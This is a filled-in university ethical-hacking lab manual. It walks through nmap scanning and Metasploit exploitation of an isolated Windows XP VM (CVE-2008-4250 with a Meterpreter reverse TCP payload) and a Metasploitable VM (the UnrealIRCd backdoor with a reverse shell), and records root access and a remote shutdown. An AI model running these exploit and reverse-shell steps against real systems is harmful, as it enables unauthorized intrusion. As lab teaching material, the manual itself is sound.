De La Salle University
College of Computer Studies

Ethical Hacking Laboratory Manual

Module No. 5 Part 2 – Exploiting Vulnerabilities Using Metasploit

Name : Daniel Gavrie Clemente

1.0 Objective

- To be able to use the basic hacking concepts of scanning, footprinting, and enumeration on Windows and Linux machines/hosts
- To familiarize the student with using Metasploit
- To familiarize the student with using exploits and payloads in Metasploit
- To familiarize the student on CVEs

2.0 Procedure

2.1. Initial Setup

1. Set up two machines (whether physical or virtual) with the following specifications:

Machine	Operating System	IP Address Settings
Hacker – Linux	Kali Linux	IP Address - 172.16.15.x/24
Victim – Windows	Windows XP	IP Address - 172.16.15.1x/24
Victim – Linux	Metasploitable Linux	172.16.15.2x/24

2. Disable the personal firewalls of the machines. When working with physical machines, make sure that the network is isolated, or when working with virtual machines, ensure that the network setting of the virtual machines are **host only** or isolated from the physical network.

2.2. Logging in to Kali and performing scanning

3. Start the Kali Linux system and set the IP addresses as specified.

4. Perform scanning and OS fingerprinting techniques to gather information about the Windows victim computer. Fill in the table below.

	Information gathered	Command used

Open TCP ports	25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS	nmap -sT 172.16.15.15
Operating system	MAC Address: 00:E0:4C:05:32:72 (Realtek Semiconductor) Device type: general purpose Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=256 (Good luck!) IP ID Sequence Generation: Incremental	nmap -v -O 172.16.15.15

5. Your next task is to identify open ports on the victim. Use the appropriate tool and list down the Open ports discovered:

6. On the Hacker machine, open a terminal application and type in “msfconsole” and then press Enter. There is a considerable amount of time before Metasploit is ready.

2.3. Using Metasploit search and info command

7. On the command prompt of Metasploit, type in “help search” and then press Enter.

8. What are some of the keywords that you can search?

Keywords
cve
port
session_type
type

9. Type in the command “search platform:windows”. What is the output? Were you able to see anything related to the Windows operating system?

Yes, I came across a lot of information about the Windows operating system.

10. CVE is a dictionary of publicly known information security vulnerabilities and exposures. Using a browser, open the website http://www.cve.mitre.org and then search for information on CVE-2008-4250. Write down the summary for the CVE information.

A critical "Server Service Vulnerability" (also known as Gimmiv.A, exploited in October 2008) in multiple Microsoft Windows versions, including Windows 2000 SP4 through Windows 7 Pre-Beta, allows remote attackers to execute arbitrary code via a crafted RPC request that causes a path canonicalization overflow.

11. In the Metasploit console, search for CVE-2008-4250. Does the CVE exist?

Yes, the CVE does exist.

12. Note the name of the exploit as listed in the Metasploit search results. Check the information about CVE-2008-4250 in Metasploit by typing

```
info <copy name of exploit>
```

Is the CVE information from Metasploit the same as the CVE from the CVE website?

Yes, the CVE information from Metasploit matches the information on the CVE website.

13. Scroll through the exploit information and note down the affected OS and target port that matches the target information from your scanning and footprinting steps.

RPORT 445 yes The SMB service port (TCP)

2.4. Using an exploit in Metasploit

14. On the Metasploit command prompt on the hacker machine, type in the command below then press enter. This command instructs Metasploit to use a particular exploit.

```
use <copy exploit name>
```

15. On the prompt, type in

```
show payloads
```

What are payloads in Metasploit? List some of the available payloads for the exploit.

57 payload/windows/meterpreter/reverse_tcp . normal No Windows

Meterpreter (Reflective Injection), Reverse TCP Stager
58 payload/windows/meterpreter/reverse_tcp_allports . normal No
Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
59 payload/windows/meterpreter/reverse_tcp_dns . normal No
Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
60 payload/windows/meterpreter/reverse_tcp_uuid . normal No
Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support

16. Look for information for payload "payload/windows/meterpreter/reverse_tcp". What does the payload do?

Windows Meterpreter (Reflective Injection), Reverse TCP Stager

17. In Metasploit, provide the victim's IP address by typing the command

```
set RHOST < IP address of victim machine>
```

18. Also, provide the IP address of the attacker

```
set LHOST < IP address of hacker machine>
```

19. Select the payload for the Meterpreter Reverse TCP by typing in

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

20. On the command prompt, type in the command "exploit". What does the exploit command do? Was the exploit able to inject the Meterpreter software?

In the Metasploit Framework, the exploit command launches the configured attack against the target system. It attempts to exploit the specified vulnerability using the chosen payload and target settings (RHOST, LHOST, etc.). Yes, the exploit did successfully inject the Meterpreter payload.

21. Are you still in the Metasploit console? Why?

Yes, you are still in the Metasploit console because after launching the exploit and successfully injecting the Meterpreter payload, the session transitions into a Meterpreter shell within the same Metasploit environment. You remain in the console to interact with the compromised system, manage sessions, run post-exploitation modules, or initiate other attacks.

22. At the prompt, type in the command "sysinfo". Write down the output.

For other Meterpreter commands, refer to the website http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics.

23. List down some of the processes running on the victim machine. Try to search for the correct Meterpreter command to do this.

24. On the command prompt, type in

```
shutdown
```

What happened to the victim machine?

The victim machine shut down.

2.5 Gaining Access to Linux

25. Attempt to gain access to Metasploitable Linux using Metasploit. Use similar techniques to gather information about the system and check for possible exploits that will work against it.

	Information gathered	Command used
Open TCP ports	PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql	nmap -sT 172.16.15.25

	5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown	
Operating system	Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Uptime guess: 497.102 days (since Wed Mar 20 11:54:42 2024) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=202 (Good luck!) IP ID Sequence Generation: All zeros	nmap -v -O 172.16.15.25

26. Perform service detection as part of the enumeration process. Use nmap and look for the option to do service detection on port TCP 6667. What is the name of the software and version running the service on the open port?

UnrealIRCd

27. Find an exploit that works on the target system by searching the CVE database for exploits that work against this software with the ability to execute commands. Once results are found, attempt to gain access using the appropriate exploit in Metasploit. Use the generic/shell_reverse_tcp as your exploit payload.

Note that for Linux systems, there will be no prompt displayed even if the exploit is successful. Instead, you will have to try executing some shell commands (e.g., pwd) to check for a response.

28. What is the privilege level or account that gained access to the system? (Hint: use the whoami command)

root

29. What is the exploit used to gain access to the system ?

exploit/unix/irc/unreal_ircd_3281_backdoor

2.5. Exit Metasploit, Meterpreter and shutting down

30. On the Meterpreter command prompt, type in “exit” and press enter.

31. On the Metasploit command prompt, type in “exit” and press enter.

32. Shutdown the hacker virtual machine. Don't forget to clean up

3.0 Guide Questions

1. What is a CVE entry?
   A CVE (Common Vulnerabilities and Exposures) entry is a publicly disclosed cybersecurity vulnerability assigned a unique identifier for standardized tracking and reference.
2. Briefly discuss the process of how to find an exploit that will likely work against a system following the results from footprinting/scanning/enumeration techniques.
   Analyze system details such as OS, open ports, and running services, then search vulnerability databases (e.g., CVE, Exploit-DB, or Metasploit) for matching known exploits.
3. What is Metasploit?
   Metasploit is a powerful open-source penetration testing framework used to find, exploit, and validate vulnerabilities in systems.
4. What are exploits in Metasploit?
   Exploits in Metasploit are modules that take advantage of vulnerabilities to execute malicious code on a target system.
5. What are payloads in Metasploit?
   Payloads are the code delivered by an exploit that performs a specific task, such as opening a reverse shell or adding a user.
6. What are the commands used to carry out an exploit?
   Common commands include `use [exploit_path]`, `set [option] [value]`, `show options`, `set payload [payload]`, `exploit` or `run`.

Resources:

Kali Linux - Hacker Machine
https://www.kali.org/get-kali/

Metasploitable 2 - Victim Machine
https://sourceforge.net/projects/metasploitable

Windows XP Victim Machine
https://drive.google.com/drive/folders/16lKVVJxEVBbIIu1AspjglaZ1bLh7yZMe?usp=sharing